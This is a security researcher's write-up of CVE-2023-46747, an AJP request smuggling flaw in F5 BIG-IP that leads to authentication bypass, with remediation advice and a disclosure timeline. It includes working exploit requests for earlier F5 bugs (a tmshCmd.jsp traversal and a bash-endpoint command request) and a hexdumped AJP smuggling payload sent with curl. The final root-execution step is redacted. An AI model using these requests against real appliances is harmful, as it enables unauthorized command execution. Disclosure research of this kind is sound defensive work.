F5 BIG-IP 请求走私导致远程命令执行（CVE-2023-46747）

Overview -------- In an effort to safeguard our customers, we perform proactive vulnerability research with the goal of identifying zero-day vulnerabilities that are likely to impact the security of leading organizations.  We decided to focus on the F5 BIG-IP suite, as F5 products are fairly ubiquitous among large corporations. We targeted the F5 BIG-IP Virtual Edition with the goal of finding an unauthenticated vulnerability that would result in complete compromise of the target server. As a result of our research we were able to identify an authentication bypass issue that led to complete compromise of an F5 system with the Traffic Management User Interface (TMUI) exposed. The bypass was assigned [CVE-2023-46747](https://www.cve.org/CVERecord?id=CVE-2023-46747), and is closely related to [CVE-2022-26377](https://www.cve.org/CVERecord?id=CVE-2022-26377). Like our recently reported [Qlik RCE](https://www.praetorian.com/blog/qlik-sense-technical-exploit/), the F5 vulnerability was also a request smuggling issue. In this blog we will discuss our methodology for identifying the vulnerability, walk through the underlying issues that caused the bug, and explain the steps we took to turn the request smuggling into a critical risk issue. We will conclude with remediation steps and our thoughts on the overall process. ### Recent F5 Vulnerabilities Attackers recently exploited two major F5 CVEs in the wild. The first of these, released in 2020, was [CVE-2020-5902](https://my.f5.com/manage/s/article/K52145254). Briefly, this was an issue where the Apache httpd service interpreted the “/..;/” characters in a URL differently than the Apache Tomcat service on the backend. Orange Tsai conducted the original research that discovered the parser vulnerability class and presented it at [BlackHat in 2018](https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf). Orange’s slide from the presentation explains the issue very well (see figure 1):  _Figure 1: Orange Tsai’s Blackhat 2018 Presentation_ The proof of concept for CVE-2020-5902 was a simple HTTP request to bypass authentication requirements and send a request to the “tmshCmd.jsp” endpoint, which executed tmsh commands on the system. The following is an example curl request to bypass auth: curl -k 'https://<host>:<port>/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin' Attackers exploited the vulnerability in the wild and CISA released an [advisory](https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-206a) about the activity. The “/tmui” API contained the relevant handler code for this bug. The second F5 vulnerability disclosure occurred in 2022 ([CVE-2022-1388](https://my.f5.com/manage/s/article/K23605346)). At a very high level, due to how HTTP Hop by Hop headers are processed, setting the header “Connection: X-F5-Auth-Token” resulted in the “X-F5-Auth-Token” header not appearing in the request that the backend code processes. The backend code did not stop processing in the absence of the header, resulting in the request going through successfully as if it were authenticated. The example request below (from this [proof of concept](https://github.com/alt3kx/CVE-2022-1388_PoC)) results in code execution. The “/mgmt/tm/util/bash” API is an endpoint that executes commands and returns the results. POST /mgmt/tm/util/bash HTTP/1.1 Host: <redacted>:8443 Authorization: Basic YWRtaW46 Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: 0 {"command": "run" , "utilCmdArgs": " -c 'id' " } This authentication vulnerability dealt with a different component of the F5 BIG-IP API, the “/mgmt” handler. F5 has since patched both of these vulnerabilities, and further updated the relevant JSP handlers in the “/tmui” API to restrict their functionality. The “fileRead.jsp” handler will not read arbitrary files anymore (it is restricted to a very small subset) and the “tmshCmd.jsp” handler does not execute arbitrary tmsh commands (it is a small subset of “ilx” related functionality). Mapping out the F5 BIG-IP Attack Surface ---------------------------------------- While previous write-ups provided a rough idea of the F5 tech stack, the best source of information is the appliance itself. We deployed a default F5 installation using a cheap [AWS Marketplace template](https://aws.amazon.com/marketplace/pp/prodview-lphsy6izllsmq?sr=0-1&ref_=beagle&applicationId=AWSMPContessa) and began identifying components on the server. \[admin@localhost:Active:Standalone\] ~ # cat /etc/os-release NAME="CentOS Linux" VERSION="7 (Core)" ID="centos" ID\_LIKE="rhel fedora" VERSION\_ID="7" PRETTY\_NAME="CentOS Linux 7 (Core)" ANSI\_COLOR="0;31" CPE\_NAME="cpe:/o:centos:centos:7" HOME\_URL="https://www.centos.org/" BUG\_REPORT\_URL="https://bugs.centos.org/" CENTOS\_MANTISBT\_PROJECT="CentOS-7" CENTOS\_MANTISBT\_PROJECT\_VERSION="7" REDHAT\_SUPPORT\_PRODUCT="centos" REDHAT\_SUPPORT\_PRODUCT\_VERSION="7" \[admin@localhost:Active:Standalone\] ~ # uname -r 3.10.0-862.14.4.el7.ve.x86\_64 A quick look at the OS banner and kernel version let us know that the appliance was running on [CentOS 7.5-1804 which was released in 2018](https://en.wikipedia.org/wiki/CentOS#CentOS_version_7). While CentOS 7 had not aged beyond its end of life, the older kernel base gave us reason to examine the versions for other core software components on the machine. Several server components were on the older side but the version banner for one component in particular stood out: \[admin@localhost:Active:Standalone\] ~ # httpd -version Server version: BIG-IP 67.el7.centos.5.0.0.5 (customized Apache/2.4.6) (CentOS) Server built:   Jul 11 2023 09:24:58 ### Vulnerable Apache Version The version of Apache on the F5 appliance, while customized, was still based from 2.4.6, which meant the developers needed to maintain a [sizable number of security patches](https://httpd.apache.org/security/vulnerabilities_24.html) in order to ensure a secure system. Coming off of our [Qlik Sense Enterprise vulnerability research](https://www.praetorian.com/blog/qlik-sense-technical-exploit/), we were particularly interested in potential vulnerabilities related to HTTP request smuggling. We knew from the previously discussed F5 vulnerabilities from 2020 and 2022 that a discrepancy in the way that frontend and backend systems interpreted a request was likely to result in an authentication bypass issue. We identified one such request smuggling vulnerability, [CVE-2022-26377](https://www.cve.org/CVERecord?id=CVE-2022-26377), as potentially impacting the custom Apache 2.4.6 version. Interestingly, F5 had even acknowledged this vulnerability as an issue [in a public KB article they published](https://my.f5.com/manage/s/article/K000132643). While they identified all major supported versions of F5-BIG IP as “affected,” they did not release a fix to address the vulnerability. We hypothesized that maybe F5 believed that the issue could not be meaningfully exploited to cause a direct security impact beyond more hypothetical or theoretical risks. One of CVE-2022-26377’s original reporters wrote an [excellent blog post](https://ricterz-me.translate.goog/posts/2022-03-03-a-new-attack-method-ajp-request-smuggling.txt?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp) describing the straightforward exploitation of the vulnerability. We decided to track down this request smuggling issue in the custom httpd software running on the server. ### Apache JServ Protocol (AJP) and Tomcat The next step was to identify whether the F5 appliance used Apache JServ Protocol (AJP). A look at \`/usr/share/tomcat/conf/server.xml\` confirmed the usage of an AJP connector on Tomcat, a prerequisite for the request smuggling vulnerability. <Service name="Catalina"> <!-- Define an AJP 1.3 Connector on port 8009 --> <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" enableLookups="true" address="127.0.0.1" maxParameterCount="32500" tomcatAuthentication="false" /> We also observed that the Apache httpd configuration (/etc/httpd/conf.d/proxy\_ajp.conf) used AJP to route requests to the backend application running Apache Tomcat application (see Figure 2).  _Figure 2: The httpd configuration for routing AJP requests._ All AJP routing rules required that the initial request URI contain the “/tmui/” endpoints. Because of this requirement, the “/mgmt” API for running commands from [CVE-2022-1388](https://my.f5.com/manage/s/article/K23605346) would not be reachable via AJP request tunneling. F5 Traffic Management User Interface (TMUI) Overview ---------------------------------------------------- The F5 Traffic Management User Interface (TMUI) routed all HTTP requests to different services on the backend using the ProxyPassMatch routing rules within Apache httpd. Requests to “/tmui” endpoints were ultimately forwarded to the AJP (Apache JServ Protocol) service listening on port 8009 (see figure 3). Checking the processes listening on that port led us to the relevant Java process, as figure 4 shows.  _Figure 3: A java process listened on port 8009._  _Figure 4: The java process listening on 8009 was Tomcat._ Upon reviewing the Tomcat deployment directory, the “tmui.xml” file provided some more information on where to locate the relevant “/tmui” files (see figure 5).  _Figure 5: The tomcat deployment XML file contained the base directory for the TMUI code._ Within the “/usr/local/www/tmui” directory, the servlet’s “web.xml” file contained all the mapping information for the relevant handlers, as figure 6 shows:  _Figure 6: The Tomcat server’s web.xml mapping for the TMUI API._ These files confirmed that Tomcat served the AJP process listening on port 8009 and that the “/usr/local/www/tmui” directory contained the relevant Java code and handlers. Verifying AJP Smuggling ----------------------- At a glance it appeared that hitting any \`/tmui/\` URL would be sufficient to trigger AJP smuggling. Before potentially going too deep into a research rabbit hole, we wanted to verify that AJP smuggling worked. As a first step we took the example AJP payload implementation from [RicterZ’s blog post](https://ricterz-me.translate.goog/posts/2022-03-03-a-new-attack-method-ajp-request-smuggling.txt?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)  and pointed it at a URL we knew would be publicly exposed–the login page. $ xxd raw.dat 00000000: 0008 4854 5450 2f31 2e31 0000 012f 0000  ..HTTP/1.1.../.. 00000010: 0931 3237 2e30 2e30 2e31 00ff ff00 0161  .127.0.0.1.....a 00000020: 0000 5000 0000 0a00 216a 6176 6178 2e73  ..P.....!javax.s 00000030: 6572 766c 6574 2e69 6e63 6c75 6465 2e72  ervlet.include.r 00000040: 6571 7565 7374 5f75 7269 0000 012f 000a  equest\_uri.../.. 00000050: 0022 6a61 7661 782e 7365 7276 6c65 742e  ."javax.servlet. 00000060: 696e 636c 7564 652e 7365 7276 6c65 745f  include.servlet\_ 00000070: 7061 7468 0001 532f 2f2f 2f2f 2f2f 2f2f  path..S///////// 00000080: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  //////////////// 00000090: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  //////////////// 000000a0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  //////////////// 000000b0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  //////////////// 000000c0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  //////////////// 000000d0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  //////////////// 000000e0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  //////////////// 000000f0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  //////////////// 00000100: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  //////////////// 00000110: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  //////////////// 00000120: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  //////////////// 00000130: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  //////////////// 00000140: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  //////////////// 00000150: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  //////////////// 00000160: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  //////////////// 00000170: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  //////////////// 00000180: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  //////////////// 00000190: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  //////////////// 000001a0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  //////////////// 000001b0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  //////////////// 000001c0: 2f2f 2f2f 2f2f 2f2f 2f2f 000a 001f 6a61  //////////....ja 000001d0: 7661 782e 7365 7276 6c65 742e 696e 636c  vax.servlet.incl 000001e0: 7564 652e 7061 7468 5f69 6e66 6f00 0010  ude.path\_info... 000001f0: 2f57 4542 2d49 4e46 2f77 6562 2e78 6d6c  /WEB-INF/web.xml 00000200: 00ff $ curl -k -i http://our.f5.ami.ip:8443/tmui/login.jsp -H 'Transfer-Encoding: chunked, chunked' --data-binary @raw.dat When we first sent this payload the server returned the login page, which is a normal and expected response. We then leveraged our advanced pentesting skills and re-ran the curl command several times, because sometimes vulnerability research is doing the same thing multiple times and somehow getting different results. Interestingly enough, after a few curl requests, we occasionally would receive 404 Not Found responses instead of the expected login page. This was the moment when we knew that our hunch about the AJP smuggling vulnerability was most likely correct. We also decompiled the relevant Apache .so modules and compared their implementation to the patched httpd source code. We’ll dig into how AJP packets work further into this blog post, but the example above is essentially the same as requesting to read the contents of /WEB-INF/web.xml from the ROOT webapp in Tomcat ([the default PoC for 2020’s GhostCat vulnerability](https://www.trendmicro.com/en_us/research/20/c/busting-ghostcat-an-analysis-of-the-apache-tomcat-vulnerability-cve-2020-1938-and-cnvd-2020-10487.html)). By default the F5-BIGIP does not run a ROOT webapp, so the system returned a 404 instead. By explicitly creating a file at /usr/share/tomcat/webapps/ROOT/WEB-INF/web.xml, we were able to trigger the GhostCat LFI. $ curl -k -i https://our.f5.ami.ip:8443/tmui/login.jsp -H 'Transfer-Encoding: chunked, chunked' --data-binary @raw.dat HTTP/1.1 200 OK Date: Fri, 08 Sep 2023 19:57:12 GMT Server: Apache X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=16070400; includeSubDomains Accept-Ranges: bytes ETag: W/"60-1694202750000" Last-Modified: Fri, 08 Sep 2023 19:52:30 GMT Content-Type: application/xml Content-Length: 60 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Content-Security-Policy: default-src 'self'  'unsafe-inline' 'unsafe-eval' data: blob:; img-src 'self' data: [](http://127.4.1.1/) [http://127.4.1.1](http://127.4.1.1/) [http://127.4.2.1](http://127.4.2.1/) Cache-Control: no-store Pragma: no-cache <Contents of File we wrote to /usr/share/tomcat/webapps/ROOT/WEB-INF/web.xml/> At this point we knew that AJP smuggling was live on current versions of F5-BIGIP appliances; our next question was how to leverage it. This required understanding how the AJP smuggling CVE-2022-26377 actually worked. AJP Smuggling and Server Interpretation --------------------------------------- The Apache httpd description of CVE-2022-26377 [states](https://httpd.apache.org/security/vulnerabilities_24.html#CVE-2022-26377) “Inconsistent Interpretation of HTTP Requests (‘HTTP Request Smuggling’) vulnerability in mod\_proxy\_ajp of Apache HTTP Server allows an attacker to smuggle requests to the AJP server it forwards requests to. This issue affects Apache HTTP Server 2.4 version 2.4.53 and prior versions.” We hoped that a request smuggling issue on the F5 httpd service would provide the authentication bypass that we needed to fully compromise the device. The [blog post](https://ricterz-me.translate.goog/posts/2022-03-03-a-new-attack-method-ajp-request-smuggling.txt?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp) partly described how the AJP smuggling occurred, but its explanation on “why” it occurred was not fully correct (keep in mind Google’s translation might not be exact). AJP is poorly documented and the best reference online is on the [Apache site itself](https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html). We determined the best way to explain how and why the smuggling works is with an example walkthrough of the normal flow. ### Normal AJP Message Processing A binary AJP message sent from the httpd service to the backend AJP listener starts with the magic bytes “0x12” “0x34”, followed by a two byte message length, followed by the “data.” The 5th byte of the message contains the “Code,” a value that determines the type of AJP request. The Code for HTTP forward requests is the value “0x2”. The 6th byte of the HTTP forward request encodes the request’s HTTP verb. A GET request is 0x2, a POST request is 0x4, and so on. The rest of the message data encodes AJP attributes and HTTP request information. A POST request might also contain body content. The AJP protocol encodes POST body content as its own special data message. The first bytes are the same magic bytes “0x1234,” and these are similarly followed by a two byte message length. The 5th and 6th bytes differ, these two bytes contain the data length. The rest of the message is the POST body data. A typical AJP POST message from the httpd service to the AJP listener will look like the following two packets sent back to back (see figures 7, 8 and 9).  _Figure 7: A standard AJP Message to the server._  _Figure 8: A AJP data message to the server (for sending POST body content)._  _Figure 9: The standard data flow between httpd and Tomcat._ Encoded in the “Data” packet of the first message is a “Content-Length” header that will match the length of the POST Body data. When the Tomcat AJP listener sees the “Content-Length” header, it reads another AJP packet from the input stream and interprets it as a data packet. Then a brief exchange occurs wherein it sends a message back to httpd and asks for more Body content, to which the httpd server replies with another data packet with zero length. Finally, the Tomcat AJP server sends back the expected HTTP response to the original request. Figure 10 shows what this looks like in Wireshark.  _Figure 10: The two AJP messages sent to the server representing a HTTP Post request._ Note the “Content-Length” value in the message, as well as the Apache JServ Protocol Message at the bottom, which is the POST body content packet. The code responsible for the AJP message processing lives in the [AjpProcessor implementation](https://github.com/apache/tomcat/blob/8.5.x/java/org/apache/coyote/ajp/AjpProcessor.java), which we can see in figure 11.  _Figure 11: The service method in the AJP Processor._ The service method reads messages off a socket connection. When it sees a “Content-Length” header, it sets the “contentLengthSet” variable and notes that it needs to read a body later on in the process (see figure 12).  _Figure 12: Checking the Content-Length header when processing an AJP message._ The body is eventually read and processed, and it is pulled directly off the socket connection (as the second message from before, shown again in figure 13).  _Figure 13: The expected POST Body data AJP message._ ### Smuggled AJP Processing CVE-2022-26377 occurs when the original request to the Apache httpd service includes a “Transfer-Encoding” header with a value of “chunked, chunked”. The value “chunked, chunked” is a valid “Transfer-Encoding” header. When [Apache](https://github.com/apache/httpd/blob/trunk/modules/http/http_core.c) receives both a “Transfer-Encoding” and “Content-Length” header, it removes the “Content-Length” header from the request it sends to the backend AJP server, as in figure 14.  _Figure 14: Apache when processing both a “Content-Length” and “Transfer-Encoding” header._ Because of this, the request sent to the Apache [mod\_proxy\_ajp](https://github.com/apache/httpd/blob/2.4.50/modules/proxy/mod_proxy_ajp.c) for forwarding does not contain a “Content-Length” header. First, the httpd AJP processor sends the request and its headers to the backend. Then [mod\_proxy\_ajp](https://github.com/apache/httpd/blob/2.4.50/modules/proxy/mod_proxy_ajp.c) checks if the “Transfer-Encoding” header is present and if it matches “chunked” exactly (see figure 15). Because the “chunked, chunked” value for the header it is processing does not match, it proceeds with the rest of the else branch and sends the POST body content directly to the backend server as an AJP data packet (see figure 16).  _Figure 15: Apache httpd mod\_proxy\_ajp compared the “Transfer-Encoding” value to “chunked”._  _Figure 16: A smuggled AJP message. Note the distinct request in the bottom left highlight, which is the BODY content._ After the httpd service encounters the “chunked, chunked” Transfer-Encoding, it sends the two messages in figures 17 and 18. Note that the Data Length is the length of the attacker controlled POST body, and the POST body IS the attacker controlled POST body.  _Figure 17: The first AJP packet when sending a smuggled request. The data does not contain a “Content-Length” header. httpd removed it because of the “chunked, chunked” Transfer-Encoding._ __ _Figure 18: The second AJP packet when sending a smuggled request._ The Tomcat AJP service processing the messages sees the first message come across, as we see in figure 19:  _Figure 19: The first received AJP packet message._ But, as in the Wireshark screenshot we referenced previously, the AJP message does not contain a “Content-Length” header. The Tomcat server does not read any post body data, and the second message sent by httpd is still sitting on the socket. After processing the first message, the whole loop continues, and another message is read from the socket (see figure 20).  _Figure 20: The processing loop in the AJP handler._ The next (smuggled) message that the AJP handler reads looks like the following message to the httpd service that sent it along (see figure 21):  _Figure 21: What the httpd server thinks it is sending as an AJP message._ But the Tomcat AJP processor consumes the attacker controlled message as if it were what we see in figure 22.  _Figure 22: What the AJP processor interprets the smuggled AJP message as._ This confusion is what causes CVE-2022-26377. If we submit a message with a POST body length of 0x204 (0x2 is the FORWARD\_REQUEST Code, and 0x4 is the HTTP POST method), then the Tomcat AJP listener interprets corresponding data as an AJP POST request and sends it to wherever we want. The confusion results in request smuggling, with a constraint that the message length must be exactly 0x204 for it to be interpreted as a POST request. Figure 23 illustrates the new flow.  _Figure 23: The smuggled AJP request flow._ But What To Do With the Smuggling? ---------------------------------- REDACTED We bypassed authentication and executed commands as root on the target system. REDACTED In the coming days we will post more information about the exploitation of this vulnerability, but given that there is no official patch for F5-BIGIP appliances yet, we believe that dropping all technical details would not be consistent with responsible disclosure. Once F5 has dropped an official patch  and organizations have had time to apply it, we will post the remaining information about how to leverage AJP smuggling into compromising the device and executing commands as the root user. Remediation ----------- F5 released an advisory detailing the impacted versions and components. Follow the instructions outlined in the advisory and run the [hotfix released by F5](https://my.f5.com/manage/s/article/K000137353) on your systems. Additionally, restrict access to the TMUI portal entirely. The portal itself should not be accessible at all from the public internet. Including the issue described in this blog, there have been three unauthenticated remote code execution vulnerabilities in the TMUI portal within the past three years. If access to it is required, ensure the TMUI portal is only accessible from the internal network or from a VPN connection. Conclusion ---------- A seemingly low impact request smuggling bug can become a serious issue when two different services offload authentication responsibilities onto each other. Sending requests to the “backend” service that assumes the “frontend” handled authentication can lead to some interesting behavior. If you’re interested in these request smuggling vulnerabilities, take a look at our recent blog posts on Qlik: the [first critical risk issue](https://www.praetorian.com/blog/qlik-sense-technical-exploit/), and the [patch bypass](https://www.praetorian.com/blog/doubleqlik-bypassing-the-original-fix-for-cve-2023-41265/). While the issue we highlighted in the F5 TMUI portal was a critical risk issue and an unknown vulnerability, you can still take steps to protect yourself. After the two previous RCEs in the TMUI service, the interface itself should not be exposed to the Internet in the first place. Our Chariot platform can help scan your attack surface to identify these risks proactively. Please don’t hesitate to [contact us](https://www.praetorian.com/chariot-registration/) for a demo. Disclosure Timeline ------------------- October 4th, 2023 – Initial email to F5 sent (to [f5sirt@f5.com](mailto:f5sirt@f5.com)). October 5th, 2023 – Vulnerability report provided to the F5 SIRT team. October 12th, 2023 – Emailed F5 SIRT to ask for confirmation they received the report. F5 confirmed and also informed us that they were able to reproduce the vulnerability. October 16th, 2023 – Discussed potential disclosure timelines with F5 SIRT. October 25th, 2023 – F5 SIRT informed us that their advisory would go live tomorrow (October 26th). October 26th, 2023 – Published initial [advisory](https://www.praetorian.com/blog/advisory-f5-big-ip-rce/).